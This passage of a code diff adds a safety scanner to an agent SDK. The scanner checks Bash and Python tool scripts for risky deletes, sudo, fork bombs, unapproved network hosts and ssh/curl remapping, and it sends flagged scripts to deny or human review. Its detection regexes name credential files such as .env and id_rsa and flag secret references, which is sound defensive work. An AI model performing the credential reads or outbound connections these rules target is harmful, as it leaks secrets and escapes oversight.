or token.startswith(option + "="): + return True + if len(option) == 2 and option.startswith("-") and token.startswith("-") and not token.startswith("--"): + return option[1] in token[1:] + return False + + +def _has_option(tokens: list[str], options: tuple[str, ...]) -> bool: + return any(_option_matches(token, option) for token in tokens[1:] for option in options) + + +def _ssh_target(tokens: list[str]) -> str | None: + index = 1 + while index < len(tokens): + token = tokens[index] + if token == "--": + return tokens[index + 1] if index + 1 < len(tokens) else None + if not token.startswith("-"): + return token + index += 2 if token in _SSH_OPTIONS_WITH_VALUES else 1 + return None + + +def _ssh_remaps(tokens: list[str]) -> bool: + if _has_option(tokens, _SSH_REMAP_OPTIONS): + return True + for index, token in enumerate(tokens[1:], start=1): + option_value = tokens[index + 1] if token == "-o" and index + 1 < len(tokens) else token[2:] + if token == "-o" or token.startswith("-o"): + config_key = re.split(r"[=\s]", option_value.strip(), maxsplit=1)[0].lower() + if config_key in _SSH_REMAP_CONFIG_KEYS: + return True + return False + + +def _network_option_findings(text: str, policy: ToolSafetyPolicy, + sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: + findings = [] + redacted = False + for segment in _COMMAND_SPLIT_RE.split(text): + tokens = _unwrap_tokens(_tokens(segment.strip())) + if not tokens: + continue + name = os.path.basename(tokens[0]).lower() + remapped = name == "curl" and _has_option(tokens, _CURL_REMAP_OPTIONS) + remapped = remapped or (name == "wget" and _has_option(tokens, _WGET_REMAP_OPTIONS)) + remapped = remapped or (name == "ssh" and _ssh_remaps(tokens)) + if remapped: + finding, changed = make_finding("NET003", segment, NETWORK_DENY, sanitizer) + findings.append(finding) + redacted = redacted or changed + if name == "ssh": + ssh_findings, changed = _ssh_target_findings(tokens, policy, sanitizer) + findings.extend(ssh_findings) + redacted = redacted or changed + return findings, redacted + + +def _ssh_target_findings(tokens: list[str], policy: ToolSafetyPolicy, + sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: + target = _ssh_target(tokens) + if not target or target.startswith(("$", "`")): + finding, changed = make_finding("NET002", "dynamic SSH destination", NETWORK_REVIEW, sanitizer) + return [finding], changed + host = target.rsplit("@", 1)[-1].strip("[]") + if host_allowed(host, policy): + return [], False + finding, changed = make_finding("NET001", target, NETWORK_DENY, sanitizer) + return [finding], changed + + +def _runner_command(text: str) -> str | None: + for segment in _COMMAND_SPLIT_RE.split(text): + if _command_name(segment.strip()) in _PROCESS_RUNNERS: + return segment.strip() + return None + + +def _sleep_values(text: str) -> list[tuple[str, list[str]]]: + values = [] + for segment in _COMMAND_SPLIT_RE.split(text): + tokens = _unwrap_tokens(_tokens(segment.strip())) + if tokens and os.path.basename(tokens[0]).lower() == "sleep": + values.append((segment.strip(), tokens[1:])) + return values + + +def stdin_language(text: str) -> ScriptLanguage | None: + """Return interpreter language when stdin is executable source.""" + tokens = _unwrap_tokens(_tokens(text.strip())) + if not tokens: + return None + name = os.path.basename(tokens[0]).lower() + if name not in _INTERPRETERS or "-c" in tokens: + return None + args = tokens[1:] + if args and "-" not in args: + return None + return ScriptLanguage.BASH if name in _SHELLS else ScriptLanguage.PYTHON + + +def _sleep_seconds(value: str) -> float: + if not value: + return float("inf") + normalized = value.lower() + if normalized == "infinity": + return float("inf") + factors = {"s": 1, "m": 60, "h": 3600, "d": 86400} + suffix = normalized[-1] + try: + if suffix in factors: + seconds = float(normalized[:-1]) * factors[suffix] + else: + seconds = float(normalized) + return seconds if math.isfinite(seconds) and seconds >= 0 else float("inf") + except (ValueError, OverflowError): + return float("inf") + + +def _sleep_exceeds(values: list[str], limit: float) -> bool: + if not values: + return True + total = 0.0 + for value in values: + seconds = _sleep_seconds(value) + if not math.isfinite(seconds): + return True + total += seconds + return total > limit + + +def _check_commands(text: str, policy: ToolSafetyPolicy, + sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: + findings = [] + allowed = {os.path.basename(item).lower() for item in policy.allowed_commands} + redacted = False + for segment in _COMMAND_SPLIT_RE.split(text): + name = _command_name(segment.strip()) + if name and name not in allowed and name not in {"do", "done", "then", "fi"}: + finding, changed = make_finding("POLICY002", name, COMMAND_REVIEW, sanitizer) + findings.append(finding) + redacted = redacted or changed + return findings, redacted + + +def _static_rules(text: str, policy: ToolSafetyPolicy, sanitizer: SafetySanitizer, + request: ScriptScanRequest) -> tuple[list[SafetyFinding], bool]: + findings = [] + redacted = False + recursive_rm = _recursive_rm(text) + runner = _runner_command(text) + matches = [ + (recursive_rm, "FILE001", FILE_DELETE), + (runner, "PROC001", PROCESS_REVIEW), + (re.search(r"(?i)(?:^|\s)sudo(?:\s|$)", text), "PROC002", PROCESS_DENY), + (_INSTALL_RE.search(text), "DEP001", DEPENDENCY_REVIEW), + (_FORK_BOMB_RE.search(text), "RES001", RESOURCE_DENY), + (_INFINITE_LOOP_RE.search(text), "RES001", RESOURCE_DENY), + (_SHELL_META_RE.search(text), "PROC001", PROCESS_REVIEW), + ] + for match, rule_id, spec in matches: + if match: + evidence = match.group(0) if hasattr(match, "group") else match + finding, changed = make_finding(rule_id, evidence, spec, sanitizer) + findings.append(finding) + redacted = redacted or changed + for evidence, values in _sleep_values(text): + if _sleep_exceeds(values, policy.long_sleep_seconds): + finding, changed = make_finding("RES002", evidence, RESOURCE_REVIEW, sanitizer) + findings.append(finding) + redacted = redacted or changed + if any(_tokens(segment.strip())[:1] == ["nohup"] for segment in _COMMAND_SPLIT_RE.split(text)): + finding, changed = make_finding("PROC003", "nohup background execution", PROCESS_REVIEW, sanitizer) + findings.append(finding) + redacted = redacted or changed + for match in _REDIRECT_PATH_RE.finditer(text): + target = match.group(1).strip("\"'") + if target.startswith(("$", "`")): + finding, changed = make_finding("FILE003", match.group(0), FILE_WRITE_REVIEW, sanitizer) + findings.append(finding) + redacted = redacted or changed + elif path_is_system_location(target, request.cwd): + finding, changed = make_finding("FILE001", match.group(0), FILE_WRITE_DENY, sanitizer) + findings.append(finding) + redacted = redacted or changed + dynamic_network = _dynamic_network_command(text) + if dynamic_network: + finding, changed = make_finding("NET002", dynamic_network, NETWORK_REVIEW, sanitizer) + findings.append(finding) + redacted = redacted or changed + network_findings, changed = scan_urls(_network_command_text(text), policy, sanitizer) + findings.extend(network_findings) + redacted = redacted or changed + option_findings, changed = _network_option_findings(text, policy, sanitizer) + findings.extend(option_findings) + redacted = redacted or changed + secret_findings, changed = scan_secret_sink(text, sanitizer, bool(_SINK_RE.search(text))) + return findings + secret_findings, redacted or changed + + +def nested_payloads(text: str) -> list[ScriptPayload]: + """Extract literal ``shell/python -c`` and stdin payloads.""" + nested = [] + candidates = [text] + candidates.extend(_COMMAND_SPLIT_RE.split(text)) + seen = set() + for segment in candidates: + tokens = _unwrap_tokens(_tokens(segment.strip())) + if not tokens: + continue + name = os.path.basename(tokens[0]).lower() + if name not in _INTERPRETERS or "-c" not in tokens: + continue + index = tokens.index("-c") + if index + 1 >= len(tokens): + continue + language = ScriptLanguage.BASH if name in _SHELLS else ScriptLanguage.PYTHON + key = (language, tokens[index + 1]) + if key in seen: + continue + seen.add(key) + nested.append(ScriptPayload( + language=language, + content=tokens[index + 1], + source=f"nested {name} -c", + )) + return nested + + +def scan_bash(text: str, policy: ToolSafetyPolicy, sanitizer: SafetySanitizer, + request: ScriptScanRequest) -> tuple[list[SafetyFinding], bool]: + """Scan Bash-specific constructs.""" + static_findings, static_redacted = _static_rules(text, policy, sanitizer, request) + command_findings, command_redacted = _check_commands(text, policy, sanitizer) + return static_findings + command_findings, static_redacted or command_redacted diff --git a/trpc_agent_sdk/tools/safety/_cli.py b/trpc_agent_sdk/tools/safety/_cli.py new file mode 100644 index 000000000..88b591109 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_cli.py @@ -0,0 +1,102 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Command-line interface for offline tool safety scans.""" + +from __future__ import annotations + +import argparse +import json +from pathlib import Path +from typing import Sequence + +from ._integration import adapt_cli_request +from ._audit import emit_report +from ._audit import JsonlAuditSink +from ._models import SafetyDecision +from ._models import ScriptLanguage +from ._models import ScriptPayload +from ._models import ToolMetadata +from ._sanitizer import SafetySanitizer +from ._scanner import ToolScriptSafetyGuard + +EXIT_ALLOW = 0 +EXIT_ERROR = 1 +EXIT_REVIEW = 2 +EXIT_DENY = 3 +_CLI_SANITIZER = SafetySanitizer() + + +def _parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(description="Scan Python or Bash before tool execution.") + source = parser.add_mutually_exclusive_group(required=True) + source.add_argument("--file", help="Script file to scan.") + source.add_argument("--command", help="Inline command or script text.") + parser.add_argument("--language", choices=["python", "bash"], required=True) + parser.add_argument("--policy", required=True, help="Safety policy YAML.") + parser.add_argument("--report", help="Optional report JSON output path.") + parser.add_argument("--audit", help="Optional audit JSONL output path.") + parser.add_argument("--tool-name", default="tool_safety_cli") + parser.add_argument("--tool-description", default="") + parser.add_argument("--tag", action="append", default=[]) + parser.add_argument("--argv", action="append", default=[]) + parser.add_argument("--env-key", action="append", default=[]) + parser.add_argument("--cwd", default="") + return parser + + +def _content(args: argparse.Namespace) -> tuple[str, str]: + if args.file: + path = Path(args.file) + try: + return path.read_text(encoding="utf-8"), str(path) + except OSError as error: + raise ValueError(f"unable to read script file: {path}") from error + return args.command, "inline" + + +def _exit_code(decision: SafetyDecision) -> int: + if decision == SafetyDecision.DENY: + return EXIT_DENY + if decision == SafetyDecision.NEEDS_HUMAN_REVIEW: + return EXIT_REVIEW + return EXIT_ALLOW + + +def run_cli(args: argparse.Namespace) -> int: + """Run a validated CLI request.""" + guard = ToolScriptSafetyGuard.from_policy(args.policy) + content, source = _content(args) + payload = ScriptPayload( + language=ScriptLanguage(args.language), + content=content, + source=source, + argv=args.argv, + ) + metadata = ToolMetadata( + name=args.tool_name, + description=args.tool_description, + tags=args.tag, + ) + request = adapt_cli_request(payload, metadata, guard.policy, args.cwd) + request.env_keys = sorted(set(args.env_key)) + report = guard.scan(request) + serialized = json.dumps(report.as_dict(), ensure_ascii=False, indent=2) + print(serialized) + if args.report: + Path(args.report).write_text(serialized + "\n", encoding="utf-8") + if args.audit: + emit_report(JsonlAuditSink(args.audit), report, metadata.name) + return _exit_code(report.decision) + + +def main(argv: Sequence[str] | None = None) -> int: + """CLI entry point.""" + try: + return run_cli(_parser().parse_args(argv)) + except (ValueError, OSError) as error: + safe_error, _ = _CLI_SANITIZER.sanitize(error) + print(json.dumps({"error": safe_error}, ensure_ascii=False)) + return EXIT_ERROR diff --git a/trpc_agent_sdk/tools/safety/_common_rules.py b/trpc_agent_sdk/tools/safety/_common_rules.py new file mode 100644 index 000000000..cf1306d99 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_common_rules.py @@ -0,0 +1,205 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Rules shared by Python and shell payloads.""" + +from __future__ import annotations + +from dataclasses import dataclass +import ntpath +import posixpath +import re +from urllib.parse import urlparse + +from ._models import RiskCategory +from ._models import RiskLevel +from ._models import SafetyDecision +from ._models import SafetyFinding +from ._models import ScriptScanRequest +from ._models import ToolSafetyPolicy +from ._sanitizer import SafetySanitizer + +_URL_RE = re.compile(r"https?://[^\s\"'<>]+", re.IGNORECASE) +_PATH_TOKEN_RE = re.compile(r"(?:[A-Za-z]:)?(?:~(?:[A-Za-z0-9_-]+)?(?:[/\\][^\s\"'|;&,)]+)?|[./\\][^\s\"'|;&,)]+)" + r"|\.env(?:\.\w+)?") +_SENSITIVE_PATH_RE = re.compile( + r"(?i)(?:^|[/\\])(?:\.env(?:\.[^/\\\s]+)?|id_rsa|id_ed25519|credentials(?:\.json)?)(?:$|[/\\\s\"'])") +_SECRET_REFERENCE_RE = re.compile(r"(?i)(?:\$[{]?(?:api[_-]?key|token|password|secret)|" + r"\b(?:api[_-]?key|token|password|private[_-]?key)\b)") +_POSIX_SYSTEM_PATHS = ("/bin", "/boot", "/dev", "/etc", "/lib", "/proc", "/root", "/sbin", "/sys", "/usr", "/var") +_WINDOWS_SYSTEM_PATHS = ("c:/program files", "c:/programdata", "c:/windows") + + +@dataclass(frozen=True) +class RuleSpec: + """Static metadata for a safety rule.""" + + category: RiskCategory + risk_level: RiskLevel + decision: SafetyDecision + recommendation: str + + +def make_finding(rule_id: str, evidence: object, spec: RuleSpec, + sanitizer: SafetySanitizer) -> tuple[SafetyFinding, bool]: + """Create a finding with safe evidence.""" + safe_evidence, redacted = sanitizer.sanitize(evidence) + return SafetyFinding( + category=spec.category, + risk_level=spec.risk_level, + rule_id=rule_id, + evidence=safe_evidence, + recommendation=spec.recommendation, + decision=spec.decision, + ), redacted + + +FILE_DENY = RuleSpec( + RiskCategory.FILE, + RiskLevel.HIGH, + SafetyDecision.DENY, + "Remove access to sensitive or forbidden paths.", +) +FILE_REVIEW = RuleSpec( + RiskCategory.FILE, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Resolve the execution home before accessing a tilde path.", +) +NETWORK_DENY = RuleSpec( + RiskCategory.NETWORK, + RiskLevel.HIGH, + SafetyDecision.DENY, + "Use a policy-allowed destination or disable network access.", +) +NETWORK_REVIEW = RuleSpec( + RiskCategory.NETWORK, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Resolve and approve the dynamic network destination.", +) +SECRET_DENY = RuleSpec( + RiskCategory.SECRET, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Remove sensitive data from output and external sinks.", +) +POLICY_REVIEW = RuleSpec( + RiskCategory.POLICY, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Reduce requested limits or obtain explicit approval.", +) + + +def host_allowed(host: str, policy: ToolSafetyPolicy) -> bool: + """Return whether a normalized host matches the allowlist.""" + normalized = host.rstrip(".").lower() + for allowed in policy.allowed_domains: + candidate = allowed.rstrip(".").lower() + if normalized == candidate or normalized.endswith("." + candidate): + return True + return False + + +def _path_forms(value: str) -> set[str]: + text = value.strip().strip("\"'") + return { + text.replace("\\", "/").lower(), + posixpath.normpath(text.replace("\\", "/")).lower(), + ntpath.normpath(text.replace("/", "\\")).replace("\\", "/").lower(), + } + + +def path_forbidden(value: str, request: ScriptScanRequest, policy: ToolSafetyPolicy) -> bool: + """Check a literal path in target execution context.""" + forms = _path_forms(value) + if request.execution_home and (value == "~" or value.startswith("~/")): + suffix = "" if value == "~" else value[2:] + forms.update(_path_forms(posixpath.join(request.execution_home, suffix))) + if request.cwd and not posixpath.isabs(value) and not ntpath.isabs(value): + forms.update(_path_forms(posixpath.join(request.cwd, value))) + for forbidden in policy.forbidden_paths: + candidates = _path_forms(forbidden) + if forbidden.startswith("~/") and request.execution_home: + candidates.update(_path_forms(posixpath.join(request.execution_home, forbidden[2:]))) + for form in forms: + if any(form == item or form.startswith(item.rstrip("/") + "/") for item in candidates): + return True + return bool(_SENSITIVE_PATH_RE.search(value)) + + +def path_is_system_location(value: str, cwd: str = "") -> bool: + """Return whether a write target is a root or operating-system path.""" + forms = _path_forms(value) + if cwd and not posixpath.isabs(value) and not ntpath.isabs(value): + forms.update(_path_forms(posixpath.join(cwd, value))) + for form in forms: + if form in {"/", "c:/"}: + return True + roots = _POSIX_SYSTEM_PATHS + _WINDOWS_SYSTEM_PATHS + if any(form == root or form.startswith(root + "/") for root in roots): + return True + return False + + +def scan_paths(text: str, request: ScriptScanRequest, policy: ToolSafetyPolicy, + sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: + """Scan literal text for forbidden paths.""" + findings = [] + redacted = False + tokens = _PATH_TOKEN_RE.findall(text) + for token in tokens: + if path_forbidden(token, request, policy): + finding, changed = make_finding("FILE002", token, FILE_DENY, sanitizer) + findings.append(finding) + redacted = redacted or changed + elif _tilde_path_is_unresolved(token, request): + finding, changed = make_finding("FILE003", token, FILE_REVIEW, sanitizer) + findings.append(finding) + redacted = redacted or changed + return findings, redacted + + +def _tilde_path_is_unresolved(token: str, request: ScriptScanRequest) -> bool: + if not token.startswith("~"): + return False + if token == "~" or token.startswith("~/"): + return not request.execution_home + return True + + +def scan_urls(text: str, policy: ToolSafetyPolicy, sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: + """Scan literal URLs against the domain allowlist.""" + findings = [] + redacted = False + for url in _URL_RE.findall(text): + host = urlparse(url).hostname + if not host or not host_allowed(host, policy): + finding, changed = make_finding("NET001", url, NETWORK_DENY, sanitizer) + findings.append(finding) + redacted = redacted or changed + return findings, redacted + + +def scan_secret_sink(text: str, sanitizer: SafetySanitizer, is_sink: bool) -> tuple[list[SafetyFinding], bool]: + """Flag secret-looking values reaching an output sink.""" + if not is_sink or not _SECRET_REFERENCE_RE.search(text): + return [], False + finding, redacted = make_finding("SECRET001", text, SECRET_DENY, sanitizer) + return [finding], redacted + + +def scan_limits(request: ScriptScanRequest, policy: ToolSafetyPolicy, + sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: + """Check request-level limits.""" + requested = request.requested_timeout_seconds + if requested is None or 0 < requested <= policy.max_timeout_seconds: + return [], False + if requested <= 0: + return [], False + evidence = f"requested timeout {requested}s exceeds {policy.max_timeout_seconds}s" + finding, redacted = make_finding("POLICY001", evidence, POLICY_REVIEW, sanitizer) + return [finding], redacted diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py new file mode 100644 index 000000000..74dcc3612 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -0,0 +1,309 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Execution adapters, Tool Filter and CodeExecutor wrapper.""" + +from __future__ import annotations + +import asyncio +import os +from pathlib import Path +from typing import Any + +from trpc_agent_sdk.abc import FilterResult +from trpc_agent_sdk.abc import FilterType +from trpc_agent_sdk.code_executors import BaseCodeExecutor +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.code_executors import create_code_execution_result +from trpc_agent_sdk.context import AgentContext +from trpc_agent_sdk.context import InvocationContext +from trpc_agent_sdk.filter import BaseFilter +from trpc_agent_sdk.tools._context_var import get_tool_var +from trpc_agent_sdk.types import CodeExecutionResult + +from ._audit import AuditSink +from ._audit import emit_report +from ._audit import SafetyAuditError +from ._audit import set_safety_span_attributes +from ._models import SafetyDecision +from ._models import SafetyReport +from ._models import ScriptLanguage +from ._models import ScriptPayload +from ._models import ScriptScanRequest +from ._models import ToolMetadata +from ._models import ToolSafetyPolicy +from ._sanitizer import truncate_output +from ._sanitizer import truncate_text +from ._scanner import ToolScriptSafetyGuard + +_TOOL_TIMEOUT_ARGS = { + "bash": "timeout", + "workspace_exec": "timeout_sec", + "skill_run": "timeout", + "skill_exec": "timeout", +} +_BASH_TOOL_NAMES = frozenset(_TOOL_TIMEOUT_ARGS) +_GENERIC_EXECUTION_FIELDS = { + "execute_command": ("command", ), + "execute_code": ("code", ), + "run_script": ("script", ), +} +_PYTHON_LANGUAGES = frozenset({"py", "python", "python3"}) +_BASH_LANGUAGES = frozenset({"bash", "sh", "shell", "zsh"}) + + +def _language(value: str, default: ScriptLanguage) -> ScriptLanguage: + normalized = value.strip().lower() + if normalized in _PYTHON_LANGUAGES: + return ScriptLanguage.PYTHON + if normalized in _BASH_LANGUAGES: + return ScriptLanguage.BASH + return default + + +def _timeout(args: dict[str, Any], name: str, policy: ToolSafetyPolicy) -> tuple[float | None, float, str | None]: + arg_name = _TOOL_TIMEOUT_ARGS.get(name) + if arg_name is None: + arg_name = "timeout_sec" if "timeout_sec" in args else ("timeout" if "timeout" in args else None) + raw = args.get(arg_name) if arg_name else None + requested = float(raw) if isinstance(raw, (int, float)) else None + if requested is None or requested <= 0: + return requested, float(policy.max_timeout_seconds), arg_name + return requested, min(requested, float(policy.max_timeout_seconds)), arg_name + + +def adapt_tool_request(tool: Any, args: dict[str, Any], policy: ToolSafetyPolicy) -> ScriptScanRequest: + """Adapt supported execution Tool arguments.""" + name = str(getattr(tool, "name", "")).lower() + metadata = ToolMetadata( + name=str(getattr(tool, "name", tool.__class__.__name__)), + description=str(getattr(tool, "description", "")), + ) + requested, effective, timeout_arg = _timeout(args, name, policy) + applicable = name in _BASH_TOOL_NAMES or name in _GENERIC_EXECUTION_FIELDS + payloads = [] + for field_name in ("command", "code", "script"): + supported_fields = _GENERIC_EXECUTION_FIELDS.get(name) + if name not in _BASH_TOOL_NAMES and (not supported_fields or field_name not in supported_fields): + continue + content = args.get(field_name) + if not isinstance(content, str) or not content.strip(): + continue + default_language = (ScriptLanguage.BASH if field_name == "command" else ScriptLanguage.PYTHON) + language = _language(str(args.get("language", "")), default_language) + argv = args.get("argv", []) + payloads.append( + ScriptPayload( + language=language, + content=content, + source=f"{metadata.name}.{field_name}", + argv=[str(item) for item in argv] if isinstance(argv, list) else [], + stdin=str(args.get("stdin", "")) if field_name == "command" else "", + )) + tool_cwd = str(getattr(tool, "cwd", "") or "") + requested_cwd = str(args.get("cwd") or "") + cwd = requested_cwd or tool_cwd + if name == "bash" and cwd: + cwd_path = Path(cwd) + if requested_cwd and not cwd_path.is_absolute(): + cwd_path = Path(tool_cwd) / cwd_path + cwd = str(cwd_path.resolve()) + local_home = str(Path.home()) if name == "bash" else None + local_root = Path(cwd).anchor if name == "bash" and cwd else None + env = args.get("env") + env_keys = sorted(str(key) for key in env) if isinstance(env, dict) else [] + return ScriptScanRequest( + payloads=payloads, + cwd=cwd, + execution_home=local_home, + execution_root=local_root, + env_keys=env_keys, + metadata=metadata, + requested_timeout_seconds=requested, + effective_timeout_seconds=effective, + timeout_arg_name=timeout_arg, + max_output_bytes=policy.max_output_bytes, + applicable=applicable, + background=bool(args.get("background", False)), + tty=bool(args.get("tty", False)), + ) + + +def adapt_code_execution_input( + value: CodeExecutionInput, + metadata: ToolMetadata, + policy: ToolSafetyPolicy, +) -> ScriptScanRequest: + """Adapt all payloads from CodeExecutionInput.""" + payloads = [] + if value.code: + payloads.append( + ScriptPayload( + language=ScriptLanguage.PYTHON, + content=value.code, + source="CodeExecutionInput.code", + )) + for index, block in enumerate(value.code_blocks): + if block.code: + payloads.append( + ScriptPayload( + language=_language(block.language, ScriptLanguage.PYTHON), + content=block.code, + source=f"CodeExecutionInput.code_blocks[{index}]", + )) + return ScriptScanRequest( + payloads=payloads, + metadata=metadata, + requested_timeout_seconds=None, + effective_timeout_seconds=float(policy.max_timeout_seconds), + max_output_bytes=policy.max_output_bytes, + ) + + +def adapt_cli_request( + payload: ScriptPayload, + metadata: ToolMetadata, + policy: ToolSafetyPolicy, + cwd: str = "", +) -> ScriptScanRequest: + """Adapt CLI input.""" + resolved_cwd = str(Path(cwd or os.getcwd()).resolve()) + return ScriptScanRequest( + payloads=[payload], + cwd=resolved_cwd, + execution_home=str(Path.home()), + execution_root=Path(resolved_cwd).anchor, + metadata=metadata, + effective_timeout_seconds=float(policy.max_timeout_seconds), + max_output_bytes=policy.max_output_bytes, + ) + + +FILTER_NAME = "tool_script_safety" +AUDIT_FAILURE_ERROR = "TOOL_SAFETY_AUDIT_FAILED" + + +class ToolSafetyFilter(BaseFilter): + """Pre-execution safety scan and post-execution output limit.""" + + def __init__(self, guard: ToolScriptSafetyGuard, audit_sink: AuditSink): + super().__init__() + self._type = FilterType.TOOL + self._name = FILTER_NAME + self._guard = guard + self._audit_sink = audit_sink + + async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult): + """Scan and stop unsafe execution before the handler.""" + del ctx + request = None + tool = get_tool_var() + tool_name = str(getattr(tool, "name", "unknown_tool")) + try: + if not isinstance(req, dict): + raise ValueError("tool safety filter requires dictionary arguments") + request = adapt_tool_request(tool, req, self._guard.policy) + report = self._guard.scan(request) + except Exception as error: # pylint: disable=broad-except + report = self._guard.error_report(error) + try: + emit_report(self._audit_sink, report, tool_name) + except SafetyAuditError: + rsp.rsp = { + "error": AUDIT_FAILURE_ERROR, + "decision": SafetyDecision.DENY.value, + "execution_blocked": True, + } + rsp.is_continue = False + return + set_safety_span_attributes(report) + if report.decision != SafetyDecision.ALLOW: + rsp.rsp = report.as_dict() + rsp.is_continue = False + return + if request and request.timeout_arg_name: + req[request.timeout_arg_name] = request.effective_timeout_seconds + + async def _after(self, ctx: AgentContext, req: Any, rsp: FilterResult): + """Limit returned output after an allowed execution.""" + del ctx, req + rsp.rsp = self.finalize_response(rsp.rsp) + + def finalize_response(self, response: Any) -> Any: + """Limit output after an allowed execution.""" + return truncate_output(response, self._guard.policy.max_output_bytes) + + @classmethod + def from_policy( + cls, + path: str, + audit_sink: AuditSink, + ) -> "ToolSafetyFilter": + """Create a filter from YAML.""" + return cls(ToolScriptSafetyGuard.from_policy(path), audit_sink) + + +class ToolSafetyViolation(RuntimeError): + """Raised when a CodeExecutor request is blocked.""" + + def __init__(self, report: SafetyReport): + super().__init__(report.summary) + self.report = report + + +class SafetyGuardedCodeExecutor(BaseCodeExecutor): + """Drop-in wrapper around an existing CodeExecutor.""" + + delegate: BaseCodeExecutor + guard: Any + audit_sink: Any + + def model_post_init(self, context: Any) -> None: + """Mirror delegate capabilities used by executor consumers.""" + del context + self.optimize_data_file = self.delegate.optimize_data_file + self.stateful = self.delegate.stateful + self.error_retry_attempts = self.delegate.error_retry_attempts + self.execute_once_per_invocation = self.delegate.execute_once_per_invocation + self.code_block_delimiters = list(self.delegate.code_block_delimiters) + self.execution_result_delimiters = list(self.delegate.execution_result_delimiters) + self.workspace_runtime = self.delegate.workspace_runtime + self.ignore_codes = list(self.delegate.ignore_codes) + + async def execute_code( + self, + invocation_context: InvocationContext, + code_execution_input: CodeExecutionInput, + ) -> CodeExecutionResult: + """Scan, audit, enforce timeout, then delegate.""" + metadata = ToolMetadata(name=self.delegate.__class__.__name__) + request = None + try: + request = adapt_code_execution_input(code_execution_input, metadata, self.guard.policy) + report = self.guard.scan(request) + except Exception as error: # pylint: disable=broad-except + report = self.guard.error_report(error) + emit_report(self.audit_sink, report, metadata.name) + set_safety_span_attributes(report) + if report.decision != SafetyDecision.ALLOW: + raise ToolSafetyViolation(report) + if request is None: + raise ToolSafetyViolation(report) + try: + result = await asyncio.wait_for( + self.delegate.execute_code(invocation_context, code_execution_input), + timeout=request.effective_timeout_seconds, + ) + except asyncio.TimeoutError: + result = create_code_execution_result( + stderr="Code execution exceeded the tool safety timeout.", + is_timed_out=True, + ) + return self._limit_result(result, request.max_output_bytes) + + @staticmethod + def _limit_result(result: CodeExecutionResult, max_output_bytes: int) -> CodeExecutionResult: + output, _ = truncate_text(result.output or "", max_output_bytes) + return result.model_copy(update={"output": output}) diff --git a/trpc_agent_sdk/tools/safety/_models.py b/trpc_agent_sdk/tools/safety/_models.py new file mode 100644 index 000000000..0b1dfa0f7 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_models.py @@ -0,0 +1,253 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Data contracts for tool script safety scanning.""" + +from __future__ import annotations + +from enum import Enum +from pathlib import Path +from typing import Any + +from pydantic import BaseModel +from pydantic import ConfigDict +from pydantic import Field +from pydantic import ValidationError +from pydantic import field_validator +import yaml +from yaml.constructor import ConstructorError +from yaml.nodes import MappingNode + +POLICY_VERSION = 1 +DEFAULT_TIMEOUT_SECONDS = 300 +DEFAULT_OUTPUT_BYTES = 1024 * 1024 +DEFAULT_LONG_SLEEP_SECONDS = 60 +DEFAULT_LARGE_WRITE_BYTES = 10 * 1024 * 1024 +DEFAULT_MAX_CONCURRENCY = 32 + + +class SafetyDecision(str, Enum): + """Final action for a scan.""" + + ALLOW = "allow" + DENY = "deny" + NEEDS_HUMAN_REVIEW = "needs_human_review" + + +class RiskLevel(str, Enum): + """Risk severity.""" + + NONE = "none" + LOW = "low" + MEDIUM = "medium" + HIGH = "high" + CRITICAL = "critical" + + +class RiskCategory(str, Enum): + """Supported risk categories.""" + + FILE = "file" + NETWORK = "network" + PROCESS = "process" + DEPENDENCY = "dependency" + RESOURCE = "resource" + SECRET = "secret" + POLICY = "policy" + + +class ScriptLanguage(str, Enum): + """Languages understood by the guard.""" + + PYTHON = "python" + BASH = "bash" + + +class ToolMetadata(BaseModel): + """Metadata associated with an execution request.""" + + name: str + description: str = "" + tags: list[str] = Field(default_factory=list) + + +class ScriptPayload(BaseModel): + """One script or command payload.""" + + language: ScriptLanguage + content: str + source: str = "inline" + argv: list[str] = Field(default_factory=list) + stdin: str = "" + + +class ScriptScanRequest(BaseModel): + """Normalized input passed to the scanner.""" + + payloads: list[ScriptPayload] = Field(default_factory=list) + cwd: str = "" + execution_home: str | None = None + execution_root: str | None = None + env_keys: list[str] = Field(default_factory=list) + metadata: ToolMetadata + requested_timeout_seconds: float | None = None + effective_timeout_seconds: float + timeout_arg_name: str | None = None + max_output_bytes: int + applicable: bool = True + background: bool = False + tty: bool = False + + +class SafetyFinding(BaseModel): + """One matched safety rule.""" + + category: RiskCategory + risk_level: RiskLevel + rule_id: str + evidence: str + recommendation: str + decision: SafetyDecision + + +class SafetyReport(BaseModel): + """Structured result returned by every scan.""" + + decision: SafetyDecision + risk_level: RiskLevel + findings: list[SafetyFinding] = Field(default_factory=list) + duration_ms: float + redacted: bool + summary: str + applicable: bool = True + effective_timeout_seconds: float | None = None + max_output_bytes: int + + @property + def rule_ids(self) -> list[str]: + """Return stable unique rule ids.""" + return 